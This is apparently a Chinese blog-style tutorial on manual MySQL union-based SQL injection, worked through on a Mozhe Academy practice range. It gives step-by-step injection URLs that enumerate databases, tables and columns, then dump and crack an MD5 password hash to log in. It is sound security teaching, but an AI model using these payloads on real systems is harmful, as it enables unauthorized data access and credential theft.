mysql手工注入+墨者学院靶场
首先,我们先介绍一下,mysql的数据库的结构,这个对于理解mysql注入非常重要。
information_schema数据库是在mysql的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。这个数据库记录了整个数据库的信息,所有的库,所有的表,所有的列名等等。
首先我们了解一下 information_schema数据库里面重要的表:SCHEMATA,TABLES,COLUMNS,在这次手工注入里面我们只需要理解这三张表就好了,所以我就重点介绍一下这三张表。
贴一下三张表的结构:
schema表中比较重要的字段就是schema_name,记录了所有的数据库的名称。
tables也只展示重要字段(我个人认为的重要字段),通过tables中的table_name字段可以读取出某个数据库中所有的表,当然也可以读取所有数据库中所有的表~~~
column表我也只展示重要的字段,通过column_name和table_name我就可以查出这个数据表的所有的字段名称。
理论上知道了表名和字段名,我们就可以查字段内容,所以一起来实践一下!
首先我们找到疑似注入点的地方:
我们简单判断一下是否存在注入点(这是靶场,不存在注入点你猜我为啥叫靶场呢):
判断是否存在注入点的payload为:
http://124.70.64.48:49006/new_list.php?id=1 and 1=1(页面返回正确)
http://124.70.64.48:49006/new_list.php?id=1 and 1=2(页面木有返回或报错)
原因是我们的输入的and 1=2也拼接进sql语句中,当然会引起查询报错啦。
首先,我们看到这个页面,测一下页面查的那个数据表有多少个字段。为什么要测字段呢,因为我们要判断页面上的内容是由返回结果的几个字段组成的。因为这里查的是新闻嘛,或许我表内一条新闻的记录有id,标题、正文、作者、时间等等,但是我url就传一个id进去,所以可能页面是对返回的记录选择某几个字段去显示。我们要判断这个出现在哪里,这样子才能构造我们的查询语句。
如何判断有几个字段呢,用order by,熟悉数据库的人都知道(我之前忘了),order by是排序的关键词。比如我第一列是时间,第二列是姓名,按两列排序的记录肯定是不一样的,这里不理解去打开excel玩一玩。所以如果我按一个不存在的列去排序,我数据表中只有4列但是按第五列排序,结果就会报错。
我们尝试的查询语句为:http://124.70.71.251:45554/new_list.php?id=1 order by n(n依次取1,2,3,4,5)
当n小于5时,页面都能正常的返回,不正常的检查一下是不是拼错了。但是n等于5时,页面啥也没返回。
既然我们知道了有4列,查数据库一般是一条一条查嘛,传一个id进去找一条记录肯定会返回四个字段,但是我们要判断一下,页面上显示的是哪些字段。
这个时候我们用到的查询语句为:
http://124.70.71.251:45554/new_list.php?id=1 and 1=2 union select 1,2,3,4
union是联合查询的意思,就是数据库查询会执行union前后两条语句,为了不让查询返回的记录干扰我们,于是我们让union前面的语句报错,就是加一个条件and1=2,所以只会返回第二条语句的结果,也就是1,2,3,4,然后页面变成了下面这样子。
很明显标题是返回记录的第二个字段,内容是第三个字段。然后我们要登录的账号密码,那肯定不是在这个查通知的表里面查,通知的表里面一般只有通知。所以我们要找到存账号密码的那个数据表。
然后我们要想办法找到存账户密码的数据表,那我们可以找到数据库下所有的数据表来判断。
这里插一下几个mysql常用函数:
因为我们的这次注入用的information_schema库是要在大于5.0版本的mysql才有。
我们查一查当前数据库和版本:
http://124.70.64.48:49006/new_list.php?id=1 and 1=2 union select 1,version(),database(),4
然后我们找到mozhe_Discuz_StormGroup这个数据库里面的所有的表名称:
http://124.70.64.48:49006/new_list.php?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit n,1(n从0开始,依次取1,2,3...若是没有的话,则页面报错)
我们得到的一共两张表,StormGroup_member,notice。
我们查出StormGroup_member表所有的列名:
http://124.70.64.48:49006/new_list.php?id=1 and 1=2 union select 1,column_name,3,4 from information_schema.columns where table_name='StormGroup_member' limit n,1(n从0开始依次加一直到页面报错可以遍历所有的列名)
遍历出该数据表的所有的字段为,id,name,password,status.
然后我们查一下表的内容:
http://124.70.64.48:49593/new_list.php?id=1 and 1=2 union select 1,name,password,4 from StormGroup_member where status=1 limit 0,1
这里不要忘记判断status,也就是账号的状态,有些账号可能被禁了。
查询到name和password。但是是md5加密后的,所以在线解密一下。
登陆成功~
这次的靶场联系就到这里结束了。